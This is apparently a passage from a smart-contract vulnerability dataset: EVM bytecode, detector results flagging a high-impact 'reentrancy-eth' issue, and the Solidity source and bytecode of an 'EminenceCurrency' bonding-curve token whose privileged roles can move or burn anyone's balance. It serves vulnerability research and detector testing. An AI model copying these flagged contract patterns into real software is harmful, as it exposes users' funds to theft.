1160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6b6064611c5d600e548661208290919063ffffffff16565b6120fd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c96573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb6064611ced600f548661208290919063ffffffff16565b6120fd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b5050565b6000808284611d399190612e82565b905083811015611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590612c1d565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611de6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e145781602001602082028036833780820191505090505b5090503081600081518110611e52577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef457600080fd5b505afa158015611f08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2c9190612757565b81600181518110611f66577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e7565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612031959493929190612d58565b600060405180830381600087803b15801561204b57600080fd5b505af115801561205f573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b60008083141561209557600090506120f7565b600082846120a39190612f09565b90508284826120b29190612ed8565b146120f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e990612c7d565b60405180910390fd5b809150505b92915050565b600061213f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061233d565b905092915050565b80612155576121546123a0565b5b60008060008061216486612402565b93509350935093506121be86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124dd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225384600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2a90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229f83612527565b6122a8826125bf565b6122b181612657565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161230e9190612d3d565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b9190612bbb565b60405180910390fd5b50600083856123939190612ed8565b9050809150509392505050565b6000600a541480156123b457506000600854145b80156123c257506000600c54145b156123cc57612400565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b60008060008060006124336103e86124256008548961208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006124606103e8612452600a548a61208290919063ffffffff16565b6120fd90919063ffffffff16565b9050600061248d6103e861247f600c548b61208290919063ffffffff16565b6120fd90919063ffffffff16565b905060006124b6836124a8868c6124dd90919063ffffffff16565b6124dd90919063ffffffff16565b905081816124c49190612f63565b9050808484849750975097509750505050509193509193565b600061251f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba3565b905092915050565b61257981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61261181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6126a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000813590506126fe8161336d565b92915050565b6000815190506127138161336d565b92915050565b60008135905061272881613384565b92915050565b60006020828403121561274057600080fd5b600061274e848285016126ef565b91505092915050565b60006020828403121561276957600080fd5b600061277784828501612704565b91505092915050565b6000806040838503121561279357600080fd5b60006127a1858286016126ef565b92505060206127b2858286016126ef565b9150509250929050565b6000806000606084860312156127d157600080fd5b60006127df868287016126ef565b93505060206127f0868287016126ef565b925050604061280186828701612719565b9150509250925092565b6000806040838503121561281e57600080fd5b600061282c858286016126ef565b925050602061283d85828601612719565b9150509250929050565b60006020828403121561285957600080fd5b600061286784828501612719565b91505092915050565b6000806040838503121561288357600080fd5b600061289185828601612719565b92505060206128a285828601612719565b9150509250929050565b6000806000606084860312156128c157600080fd5b60006128cf86828701612719565b93505060206128e086828701612719565b92505060406128f186828701612719565b9150509250925092565b60006129078383612913565b60208301905092915050565b61291c81612f97565b82525050565b61292b81612f97565b82525050565b600061293c82612e3d565b6129468185612e60565b935061295183612e2d565b8060005b8381101561298257815161296988826128fb565b975061297483612e53565b925050600181019050612955565b5085935050505092915050565b61299881612fa9565b82525050565b6129a781612fec565b82525050565b60006129b882612e48565b6129c28185612e71565b93506129d2818560208601612ffe565b6129db8161308f565b840191505092915050565b60006129f3602383612e71565b91506129fe826130a0565b604082019050919050565b6000612a16602283612e71565b9150612a21826130ef565b604082019050919050565b6000612a39601b83612e71565b9150612a448261313e565b602082019050919050565b6000612a5c601d83612e71565b9150612a6782613167565b602082019050919050565b6000612a7f602783612e71565b9150612a8a82613190565b604082019050919050565b6000612aa2602183612e71565b9150612aad826131df565b604082019050919050565b6000612ac5602083612e71565b9150612ad08261322e565b602082019050919050565b6000612ae8602983612e71565b9150612af382613257565b604082019050919050565b6000612b0b601e83612e71565b9150612b16826132a6565b602082019050919050565b6000612b2e602583612e71565b9150612b39826132cf565b604082019050919050565b6000612b51602483612e71565b9150612b5c8261331e565b604082019050919050565b612b7081612fd5565b82525050565b612b7f81612fdf565b82525050565b6000602082019050612b9a6000830184612922565b92915050565b6000602082019050612bb5600083018461298f565b92915050565b60006020820190508181036000830152612bd581846129ad565b905092915050565b60006020820190508181036000830152612bf6816129e6565b9050919050565b60006020820190508181036000830152612c1681612a09565b9050919050565b60006020820190508181036000830152612c3681612a2c565b9050919050565b60006020820190508181036000830152612c5681612a4f565b9050919050565b60006020820190508181036000830152612c7681612a72565b9050919050565b60006020820190508181036000830152612c9681612a95565b9050919050565b60006020820190508181036000830152612cb681612ab8565b9050919050565b60006020820190508181036000830152612cd681612adb565b9050919050565b60006020820190508181036000830152612cf681612afe565b9050919050565b60006020820190508181036000830152612d1681612b21565b9050919050565b60006020820190508181036000830152612d3681612b44565b9050919050565b6000602082019050612d526000830184612b67565b92915050565b600060a082019050612d6d6000830188612b67565b612d7a602083018761299e565b8181036040830152612d8c8186612931565b9050612d9b6060830185612922565b612da86080830184612b67565b9695505050505050565b6000604082019050612dc76000830185612b67565b612dd46020830184612b67565b9392505050565b6000606082019050612df06000830186612b67565b612dfd6020830185612b67565b612e0a6040830184612b67565b949350505050565b6000602082019050612e276000830184612b76565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e8d82612fd5565b9150612e9883612fd5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ecd57612ecc613031565b5b828201905092915050565b6000612ee382612fd5565b9150612eee83612fd5565b925082612efe57612efd613060565b5b828204905092915050565b6000612f1482612fd5565b9150612f1f83612fd5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f5857612f57613031565b5b828202905092915050565b6000612f6e82612fd5565b9150612f7983612fd5565b925082821015612f8c57612f8b613031565b5b828203905092915050565b6000612fa282612fb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ff782612fd5565b9050919050565b60005b8381101561301c578082015181840152602081019050613001565b8381111561302b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61337681612f97565b811461338157600080fd5b50565b61338d81612fd5565b811461339857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc5f826038e35ea6f90e1b3b1212e1c8c4c61151cfb7c574b725d433b61a5ca164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,105
0xa1cef1f34787fe8d158b74df3a5403cbcec8202d
/* This contract is provided "as is" and "with all faults." The deployer makes no representations or warranties of any kind concerning the safety, suitability, lack of exploits, inaccuracies, typographical errors, or other harmful components of this contract. There are inherent dangers in the use of any contract, and you are solely responsible for determining whether this contract is safe to use. You are also solely responsible for the protection of your funds, and the deployer will not be liable for any damages you may suffer in connection with using, modifying, or distributing this contract. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract ERC20 is IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } interface BondingCurve { function calculatePurchaseReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _depositAmount) external view returns (uint); function calculateSaleReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _sellAmount) external view returns (uint); } contract ContinuousToken is ERC20 { using SafeMath for uint; uint public scale = 10**18; uint public reserveBalance = 1*10**14; uint32 public reserveRatio; BondingCurve constant public CURVE = BondingCurve(0x16F6664c16beDE5d70818654dEfef11769D40983); function _buy(uint _amount) internal returns (uint _bought) { _bought = _continuousMint(_amount); } function _sell(uint _amount) internal returns (uint _sold) { _sold = _continuousBurn(_amount); } function calculateContinuousMintReturn(uint _amount) public view returns (uint mintAmount) { return CURVE.calculatePurchaseReturn(totalSupply(), reserveBalance, uint32(reserveRatio), _amount); } function calculateContinuousBurnReturn(uint _amount) public view returns (uint burnAmount) { return CURVE.calculateSaleReturn(totalSupply(), reserveBalance, uint32(reserveRatio), _amount); } function _continuousMint(uint _deposit) internal returns (uint) { uint amount = calculateContinuousMintReturn(_deposit); reserveBalance = reserveBalance.add(_deposit); return amount; } function _continuousBurn(uint _amount) internal returns (uint) { uint reimburseAmount = calculateContinuousBurnReturn(_amount); reserveBalance = reserveBalance.sub(reimburseAmount); return reimburseAmount; } } contract EminenceCurrency is ContinuousToken, ERC20Detailed { mapping(address => bool) public gamemasters; mapping(address => bool) public currencies; mapping(address => bool) public npcs; event AddGM(address indexed newGM, address indexed gm); event RevokeGM(address indexed newGM, address indexed gm); event AddNPC(address indexed newNPC, address indexed gm); event RevokeNPC(address indexed newNPC, address indexed gm); event CashShopBuy(address _from, uint _amount, uint _deposit); event CashShopSell(address _from, uint _amount, uint _reimbursement); IERC20 constant public DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); constructor (string memory name, string memory symbol, uint32 _reserveRatio) public ERC20Detailed(name, symbol, 18) { gamemasters[msg.sender] = true; reserveRatio = _reserveRatio; _mint(msg.sender, 1*scale); } function addNPC(address _npc) external { require(gamemasters[msg.sender], "!gm"); npcs[_npc] = true; emit AddNPC(_npc, msg.sender); } function revokeNPC(address _npc) external { require(gamemasters[msg.sender], "!gm"); npcs[_npc] = false; emit RevokeNPC(_npc, msg.sender); } function addGM(address _gm) external { require(gamemasters[msg.sender], "!gm"); gamemasters[_gm] = true; emit AddGM(_gm, msg.sender); } function revokeGM(address _gm) external { require(gamemasters[msg.sender], "!gm"); gamemasters[_gm] = false; emit RevokeGM(_gm, msg.sender); } function award(address _to, uint _amount) external { require(gamemasters[msg.sender], "!gm"); _mint(_to, _amount); } function give(address _from, address _to, uint _amount) external { require(gamemasters[msg.sender]||npcs[msg.sender], "!gm"); _transfer(_from, _to, _amount); } function claim(address _from, uint _amount) external { require(gamemasters[msg.sender]||npcs[msg.sender], "!gm"); _burn(_from, _amount); } function buy(uint _amount, uint _min) external returns (uint _bought) { _bought = _buy(_amount); require(_bought >= _min, "slippage"); DAI.transferFrom(msg.sender, address(this), _amount); _mint(msg.sender, _bought); emit CashShopBuy(msg.sender, _bought, _amount); } function sell(uint _amount, uint _min) external returns (uint _bought) { _bought = _sell(_amount); require(_bought >= _min, "slippage"); _burn(msg.sender, _amount); DAI.transfer(msg.sender, _bought); emit CashShopSell(msg.sender, _amount, _bought); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063872190a311610104578063aad3ec96116100a2578063dd62ed3e11610071578063dd62ed3e14610a0b578063e0bab4c414610a83578063ec8b283c14610acd578063f51e181a14610b3b576101da565b8063aad3ec96146108e1578063c86c9d5a1461092f578063d6febde814610973578063d79875eb146109bf576101da565b806395d89b41116100de57806395d89b4114610774578063a10954fe146107f7578063a457c2d714610815578063a9059cbb1461087b576101da565b8063872190a31461069257806390f0c2ea146106ee57806394dcc24014610730576101da565b8063313ce5671161017c5780635e37f3ea1161014b5780635e37f3ea1461053e5780636036cba31461058257806370a08231146105de5780637929f63a14610636576101da565b8063313ce5671461041c57806339509351146104405780633a3c3b87146104a65780635d8a776e146104f0576101da565b806312d8d1a9116101b857806312d8d1a9146102f257806318160ddd1461033657806323b872dd1461035457806328c3d701146103da576101da565b806306fdde03146101df578063095ea7b3146102625780630c7d5cd8146102c8575b600080fd5b6101e7610b59565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022757808201518184015260208101905061020c565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfb565b604051808215151515815260200191505060405180910390f35b6102d0610c12565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6103346004803603602081101561030857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c28565b005b61033e610d9c565b6040518082815260200191505060405180910390f35b6103c06004803603606081101561036a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da6565b604051808215151515815260200191505060405180910390f35b610406600480360360208110156103f057600080fd5b8101908080359060200190929190505050610e71565b6040518082815260200191505060405180910390f35b610424610f59565b604051808260ff1660ff16815260200191505060405180910390f35b61048c6004803603604081101561045657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f70565b604051808215151515815260200191505060405180910390f35b6104ae611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053c6004803603604081101561050657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061102d565b005b6105806004803603602081101561055457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fa565b005b6105c46004803603602081101561059857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126e565b604051808215151515815260200191505060405180910390f35b610620600480360360208110156105f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128e565b6040518082815260200191505060405180910390f35b6106786004803603602081101561064c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d6565b604051808215151515815260200191505060405180910390f35b6106d4600480360360208110156106a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f6565b604051808215151515815260200191505060405180910390f35b61071a6004803603602081101561070457600080fd5b8101908080359060200190929190505050611316565b6040518082815260200191505060405180910390f35b6107726004803603602081101561074657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113fe565b005b61077c611572565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107bc5780820151818401526020810190506107a1565b50505050905090810190601f1680156107e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107ff611614565b6040518082815260200191505060405180910390f35b6108616004803603604081101561082b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061161a565b604051808215151515815260200191505060405180910390f35b6108c76004803603604081101561089157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d9565b604051808215151515815260200191505060405180910390f35b61092d600480360360408110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116f0565b005b6109716004803603602081101561094557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611811565b005b6109a96004803603604081101561098957600080fd5b810190808035906020019092919080359060200190929190505050611985565b6040518082815260200191505060405180910390f35b6109f5600480360360408110156109d557600080fd5b810190808035906020019092919080359060200190929190505050611b96565b6040518082815260200191505060405180910390f35b610a6d60048036036040811015610a2157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d73565b6040518082815260200191505060405180910390f35b610a8b611dfa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b3960048036036060811015610ae357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e12565b005b610b43611f35565b6040518082815260200191505060405180910390f35b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000610c08338484611f3b565b6001905092915050565b600560009054906101000a900463ffffffff1681565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610ce7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f42b306dfe8460246dbfcab2777e43789ac1b9e30ac4542927a5bb3ab2348295e60405160405180910390a350565b6000600254905090565b6000610db3848484612132565b610e668433610e6185604051806060016040528060288152602001612a0360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e89092919063ffffffff16565b611f3b565b600190509392505050565b60007316f6664c16bede5d70818654defef11769d4098373ffffffffffffffffffffffffffffffffffffffff166329a00e7c610eab610d9c565b600454600560009054906101000a900463ffffffff16866040518563ffffffff1660e01b8152600401808581526020018481526020018363ffffffff1663ffffffff16815260200182815260200194505050505060206040518083038186803b158015610f1757600080fd5b505afa158015610f2b573d6000803e3d6000fd5b505050506040513d6020811015610f4157600080fd5b81019080805190602001909291905050509050919050565b6000600860009054906101000a900460ff16905090565b600061100b338461100685600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a890919063ffffffff16565b611f3b565b6001905092915050565b7316f6664c16bede5d70818654defef11769d4098381565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6110f68282612530565b5050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f9cc4e68910890d03f9b16e468c11e5670536dd9a90e559f78d0df1f84dff54f060405160405180910390a350565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b60007316f6664c16bede5d70818654defef11769d4098373ffffffffffffffffffffffffffffffffffffffff166349f9b0f7611350610d9c565b600454600560009054906101000a900463ffffffff16866040518563ffffffff1660e01b8152600401808581526020018481526020018363ffffffff1663ffffffff16815260200182815260200194505050505060206040518083038186803b1580156113bc57600080fd5b505afa1580156113d0573d6000803e3d6000fd5b505050506040513d60208110156113e657600080fd5b81019080805190602001909291905050509050919050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f338249dec2559f25b4c55904dda7067d7fab90077e7e305d52affe95f5906c3e60405160405180910390a350565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561160a5780601f106115df5761010080835404028352916020019161160a565b820191906000526020600020905b8154815290600101906020018083116115ed57829003601f168201915b5050505050905090565b60045481565b60006116cf33846116ca85604051806060016040528060258152602001612a9560259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e89092919063ffffffff16565b611f3b565b6001905092915050565b60006116e6338484612132565b6001905092915050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117915750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61180d82826126eb565b5050565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260038152602001807f21676d000000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f65125efe0ba3c92516fd5a7e2eb69a5ed59e70c32955a59bd48bb733a361e9eb60405160405180910390a350565b6000611990836128a3565b905081811015611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611ad757600080fd5b505af1158015611aeb573d